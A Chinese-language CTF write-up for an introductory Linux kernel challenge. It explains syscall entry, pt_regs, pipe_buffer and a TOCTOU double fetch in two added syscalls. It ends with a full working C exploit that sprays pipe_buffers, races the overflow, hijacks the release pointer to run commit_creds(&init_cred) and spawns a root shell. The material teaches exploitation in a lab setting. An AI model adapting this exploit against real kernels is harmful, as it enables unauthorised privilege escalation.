HGAME FINAL 2026 题解

letyoudive: 一道探索中设计的入门内核题

Background

syscall

系统调用(system call)是由操作系统内核向上层应用程式提供的应用接口,操作系统负责调度一切的资源,当用户进程想要请求更高权限的服务时,便需要通过由系统提供的应用接口,使用系统调用以陷入内核态,再由操作系统完成请求。

entry: 怎么从用户态陷入

在执行 syscall 后,CPU 将跳转到 entry_SYSCALL_64,保存用户态的上下文,并进入内核态。

//arch/x86/entry/entry_64.S

SYM_CODE_START(entry_SYSCALL_64)
  UNWIND_HINT_ENTRY
  ENDBR

  swapgs
  /* tss.sp2 is scratch space. */
  movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
  SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
  movq	PER_CPU_VAR(cpu_current_top_of_stack), %rsp

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
  ANNOTATE_NOENDBR

  /* Construct struct pt_regs on stack */
  pushq	$__USER_DS				/* pt_regs->ss */
  pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */
  pushq	%r11					/* pt_regs->flags */
  pushq	$__USER_CS				/* pt_regs->cs */
  pushq	%rcx					/* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
  pushq	%rax					/* pt_regs->orig_ax */

  PUSH_AND_CLEAR_REGS rax=$-ENOSYS

  /* IRQs are off. */
  movq	%rsp, %rdi
  /* Sign extend the lower 32bit as syscall numbers are treated as int */
  movslq	%eax, %rsi

  /* clobbers %rax, make sure it is after saving the syscall nr */
  IBRS_ENTER
  UNTRAIN_RET
  CLEAR_BRANCH_HISTORY

  call	do_syscall_64		/* returns with IRQs disabled */

  /*
   * Try to use SYSRET instead of IRET if we're returning to
   * a completely clean 64-bit userspace context.  If we're not,
   * go to the slow exit path.
   * In the Xen PV case we must use iret anyway.
   */

  ALTERNATIVE "testb %al, %al; jz swapgs_restore_regs_and_return_to_usermode", \
    "jmp swapgs_restore_regs_and_return_to_usermode", X86_FEATURE_XENPV

  /*
   * We win! This label is here just for ease of understanding
   * perf profiles. Nothing jumps here.
   */
syscall_return_via_sysret:
  IBRS_EXIT
  POP_REGS pop_rdi=0

  /*
   * Now all regs are restored except RSP and RDI.
   * Save old stack pointer and switch to trampoline stack.
   */
  movq	%rsp, %rdi
  movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
  UNWIND_HINT_END_OF_STACK

  pushq	RSP-RDI(%rdi)	/* RSP */
  pushq	(%rdi)		/* RDI */

  /*
   * We are on the trampoline stack.  All regs except RDI are live.
   * We can do future final exit work right here.
   */
  STACKLEAK_ERASE_NOCLOBBER

  SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

  popq	%rdi
  popq	%rsp
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
  ANNOTATE_NOENDBR
  swapgs
  CLEAR_CPU_BUFFERS
  sysretq
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
  ANNOTATE_NOENDBR
  int3
SYM_CODE_END(entry_SYSCALL_64)

pt_regs

pt_regs 是内核用来保存用户态上下文的结构体,具体定义如下

//arch/x86/include/asm/ptrace.h

struct pt_regs {
  /*
   * C ABI says these regs are callee-preserved. They aren't saved on
   * kernel entry unless syscall needs a complete, fully filled
   * "struct pt_regs".
   */
  unsigned long r15;
  unsigned long r14;
  unsigned long r13;
  unsigned long r12;
  unsigned long bp;
  unsigned long bx;

  /* These regs are callee-clobbered. Always saved on kernel entry. */
  unsigned long r11;
  unsigned long r10;
  unsigned long r9;
  unsigned long r8;
  unsigned long ax;
  unsigned long cx;
  unsigned long dx;
  unsigned long si;
  unsigned long di;

  /*
   * orig_ax is used on entry for:
   * - the syscall number (syscall, sysenter, int80)
   * - error_code stored by the CPU on traps and exceptions
   * - the interrupt number for device interrupts
   *
   * A FRED stack frame starts here:
   *   1) It _always_ includes an error code;
   *
   *   2) The return frame for ERET[US] starts here, but
   *      the content of orig_ax is ignored.
   */
  unsigned long orig_ax;

  /* The IRETQ return frame starts here */
  unsigned long ip;

  union {
    /* CS selector */
    u16		cs;
    /* The extended 64-bit data slot containing CS */
    u64		csx;
    /* The FRED CS extension */
    struct fred_cs	fred_cs;
  };

  unsigned long flags;
  unsigned long sp;

  union {
    /* SS selector */
    u16		ss;
    /* The extended 64-bit data slot containing SS */
    u64		ssx;
    /* The FRED SS extension */
    struct fred_ss	fred_ss;
  };

  /*
   * Top of stack on IDT systems, while FRED systems have extra fields
   * defined above for storing exception related information, e.g. CR2 or
   * DR6.
   */
};

x64_sys_call

之后在 x64_sys_call,根据调用号进入对应的函数。

//arch/x86/entry/syscall_64.c

#define __SYSCALL(nr, sym) case nr: return __x64_##sym(regs);
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
  switch (nr) {
  #include <asm/syscalls_64.h>
  default: return __x64_sys_ni_syscall(regs);
  }
}

SLUB/object

可以参考 内核堆概述 - CTF Wiki

Double Fetch / TOCTOU

可以参考 Double Fetch - CTF Wiki

TOCTOU(Time-of-check to time-of-use) 简单地说是程序在检查某个条件和使用该条件之前存在一个时间窗口,条件发生了改变。

pipe_buffer

/**
 *	struct pipe_buffer - a linux kernel pipe buffer
 *	@page: the page containing the data for the pipe buffer
 *	@offset: offset of data inside the @page
 *	@len: length of data inside the @page
 *	@ops: operations associated with this buffer. See @pipe_buf_operations.
 *	@flags: pipe buffer flags. See above.
 *	@private: private data owned by the ops.
 **/
struct pipe_buffer {
  struct page *page;
  unsigned int offset, len;
  const struct pipe_buf_operations *ops;
  unsigned int flags;
  unsigned long private;
};

当我们创建一个管道时,在内核中会分配一个 pipe_buffer 结构体数组,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object

pipe_buf_operations 为一张函数表,当我们对管道进行特定操作时内核便会调用该表上对应的函数。例如当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,由此我们便能控制内核执行流,从而完成提权。

struct pipe_buf_operations {
  /*
   * ->confirm() verifies that the data in the pipe buffer is there
   * and that the contents are good. If the pages in the pipe belong
   * to a file system, we may need to wait for IO completion in this
   * hook. Returns 0 for good, or a negative error value in case of
   * error.  If not present all pages are considered good.
   */
  int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * When the contents of this pipe buffer has been completely
   * consumed by a reader, ->release() is called.
   */
  void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * Attempt to take ownership of the pipe buffer and its contents.
   * ->try_steal() returns %true for success, in which case the contents
   * of the pipe (the buf->page) is locked and now completely owned by the
   * caller. The page may then be transferred to a different mapping, the
   * most often used case is insertion into different file address space
   * cache.
   */
  bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

  /*
   * Get a reference to the pipe buffer.
   */
  bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

题目提示我们注意 syscall,从 x64_sys_call 中可以看到添加了两个系统调用。

x64_sys_call

store

__int64 __fastcall _x64_sys_store(__int64 a1, __int64 a2)
{
  return _do_sys_store(*(unsigned __int64 **)(a1 + 0x70), a2);
}

a1 其实就是上文提到的 pt_regs,而这个偏移量对应用户态的 $rdi,即传入的第一个参数。

然后调用了_get_user_8

在内核编程中,为了安全性,我们一般不会直接读写用户态的内存(SMAP 也会阻止你这么做),而是使用一组特定的接口去检查后,将数据在内核态 / 用户态之间拷贝。

_get_user_8 将目标指针 $rax 解引用后放入 $rdx

retrieve userspace data 将用户态的两个 8 bytes 数据分别存入 $r10, $rdi

结合后续逻辑,可以认为这是一个由 length, buf 两个成员组成的结构体。

开头会对 length 进行检查,如果超过 512 则提示 invalid length,并返回 -EINVAL。然后对 buf 的各字节做一些异或操作,事实上这创造了一个较长的竞争窗口。分配一个内核上的 slub,长度为 1024,地址存储在全局变量 buf_ptr。此时重新将整个结构体从用户态读入。将 buflength 长度的内容存入该 slub,这里很明显存在 TOCTOU。也就是说,可以实现几乎无限制的堆溢出。

fetch

同样存在类似的漏洞,可以实现越界读,但竞争窗口相对较短。但是这里其实不需要利用到。

Exploit

题目的限制算是挺宽松的,考虑利用 pipe_buffer 劫持内核控制流,伪造其结构体不需要泄露堆地址。

uint64_t *fake_ops = mmap(NULL, 0x1000,
                          PROT_READ | PROT_WRITE,
                          MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                          -1, 0);
if (fake_ops == MAP_FAILED) { perror("mmap fake_ops"); return 1; }

/* pipe_buf_operations layout: confirm(0), release(8), try_steal(16), get(24) */
fake_ops[0] = 0;                      /* confirm */
fake_ops[1] = (uint64_t)escalate;     /* release */
fake_ops[2] = 0;                      /* try_steal */
fake_ops[3] = 0;                      /* get */

先使用 mmap 分配一块内存存放伪造的结构体。

uint64_t *fake_ops = mmap(NULL, 0x1000,
                          PROT_READ | PROT_WRITE,
                          MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                          -1, 0);
if (fake_ops == MAP_FAILED) { perror("mmap fake_ops"); return 1; }

/* pipe_buf_operations layout: confirm(0), release(8), try_steal(16), get(24) */
fake_ops[0] = 0;                      /* confirm */
fake_ops[1] = (uint64_t)escalate;     /* release */
fake_ops[2] = 0;                      /* try_steal */
fake_ops[3] = 0;                      /* get */

尝试使用堆喷将 pipe_buffer 分配在 kmalloc-1024 各处,如果能将其恰好分配在 buf 之后,就可以通过溢出篡改结构体内容。

具体思路是先进行堆喷射,然后释放部分的 pipe,策略是释放偶数索引,制造内存空洞。这样产生的空洞更容易处在两个 pipe_buffer 之间,此时调用 sys_store 有概率将分配的 buf 占据这些被释放的空间。

然后利用 TOCTOU 产生溢出,覆盖函数指针为 commit_creds(&init_cred)

由于 SMEP/SMAP 没有开启,直接让内核跳转到用户态代码完成提权。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <pthread.h>
#include <stdint.h>
#include <sched.h>
#include <sys/resource.h>

#define SYS_STORE 551

#define COMMIT_CREDS        0xffffffff81338c90UL
#define INIT_CRED           0xffffffff82c0f680UL

struct msg_t {
    size_t len;
    char *buf;
};


void __attribute__((noinline,used)) escalate(void *a, void *b) {
    int (*cc)(void *) = (int (*)(void *))COMMIT_CREDS;
    cc((void *)INIT_CRED);
}

/* Race state */
volatile struct msg_t race_msg __attribute__((aligned(64)));
volatile int stop_race = 0;

void *race_thread(void *arg) {
    size_t overflow_len = (size_t)arg;
    cpu_set_t cpus;
    CPU_ZERO(&cpus);
    CPU_SET(1, &cpus);
    sched_setaffinity(0, sizeof(cpus), &cpus);


    while (!stop_race) {
        race_msg.len = overflow_len;
    }
    return NULL;
}

int main(void) {
    int ret;
    printf("=== Kernel TOCTOU Exploit ===\n");

    uint64_t *fake_ops = mmap(NULL, 0x1000,
                              PROT_READ | PROT_WRITE,
                              MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                              -1, 0);
    if (fake_ops == MAP_FAILED) { perror("mmap fake_ops"); return 1; }

    /* pipe_buf_operations layout: confirm(0), release(8), try_steal(16), get(24) */
    fake_ops[0] = 0;                      /* confirm */
    fake_ops[1] = (uint64_t)escalate;     /* release */
    fake_ops[2] = 0;                      /* try_steal */
    fake_ops[3] = 0;                      /* get */

    printf("[*] fake_ops @ %p (mmap'd RW), release → %p\n",
           fake_ops, (void*)escalate);

    struct rlimit rl = { .rlim_cur = 4096, .rlim_max = 4096 };
    setrlimit(RLIMIT_NOFILE, &rl);

    cpu_set_t cpus;
    CPU_ZERO(&cpus);
    CPU_SET(0, &cpus);
    sched_setaffinity(0, sizeof(cpus), &cpus);

    /* Phase 1: Spray pipe_buffer arrays into kmalloc-1k */
    #define N_SPRAY 400
    int pipes[N_SPRAY][2];

    printf("[*] Spraying %d pipes...\n", N_SPRAY);
    for (int i = 0; i < N_SPRAY; i++) {
        if (pipe(pipes[i]) < 0) { break; }
    }

    /* Phase 2: Checkerboard - free every other */
    printf("[*] Creating holes...\n");
    for (int i = 0; i < N_SPRAY; i += 2) {
        close(pipes[i][0]);
        close(pipes[i][1]);
        pipes[i][0] = -1;
    }
    /* Flush deferred fput via task_work */
    getpid();

    /* Phase 3: Allocate buf_ptr in a hole */
    printf("[*] Allocating buf_ptr...\n");
    char init_data[256];
    memset(init_data, 'A', 256);
    struct msg_t msg = { .len = 256, .buf = init_data };
    ret = syscall(SYS_STORE, &msg);
    if (ret < 0) { printf("[-] store failed\n"); return 1; }

    /*
     * Phase 4: Build overflow payload
     * Overflow 3 adjacent 1024-byte slots.
     * Each gets fake_ops at pipe_buffer[0].ops (offset 16).
     */
    #define N_SLOTS 3
    #define OVERFLOW_SIZE (1024 + N_SLOTS * 1024)
    uint8_t *payload = mmap(NULL, OVERFLOW_SIZE + 4096,
                            PROT_READ | PROT_WRITE,
                            MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
                            -1, 0);
    memset(payload, 'A', 1024);
    for (int s = 0; s < N_SLOTS; s++) {
        size_t base = 1024 + s * 1024;
        memset(payload + base, 0, 1024);
        *(uint64_t *)(payload + base + 16) = (uint64_t)fake_ops;
    }

    /* Phase 5: Race
     *
     * Race thread continuously writes overflow_len to race_msg.len.
     * Main thread writes 256 right before each syscall.
     *
     */
    printf("[*] Racing...\n");
    pthread_t tid;
    race_msg.buf = (char *)payload;
    pthread_create(&tid, NULL, race_thread, (void *)(size_t)OVERFLOW_SIZE);

    for (int i = 0; i < 200; i++) {
        race_msg.len = 256;
        syscall(SYS_STORE, (void *)&race_msg);
    }
    stop_race = 1;
    pthread_join(tid, NULL);
    printf("[+] Race done\n");

    /* Phase 6: Close surviving pipes to trigger release */
    printf("[*] Triggering release...\n");
    for (int i = 1; i < N_SPRAY; i += 2) {
        if (pipes[i][0] == -1) continue;
        close(pipes[i][0]);
        close(pipes[i][1]);
        /*
         * fput defers via task_work. getuid() is a syscall whose
         * return path processes task_work → pipe_release → free_pipe_info
         * → pipe_buf_release → our escalate() → commit_creds.
         */
        if (getuid() == 0) {
            printf("[+] GOT ROOT after pipe %d!\n", i);
            goto win;
        }
    }

    /* Extra flush */
    sched_yield();
    getpid();
    if (getuid() == 0) goto win;

    printf("[-] Failed (uid=%d)\n", getuid());
    return 1;

win:
    printf("[+] uid=%d euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "sh", NULL);
    return 0;
}

References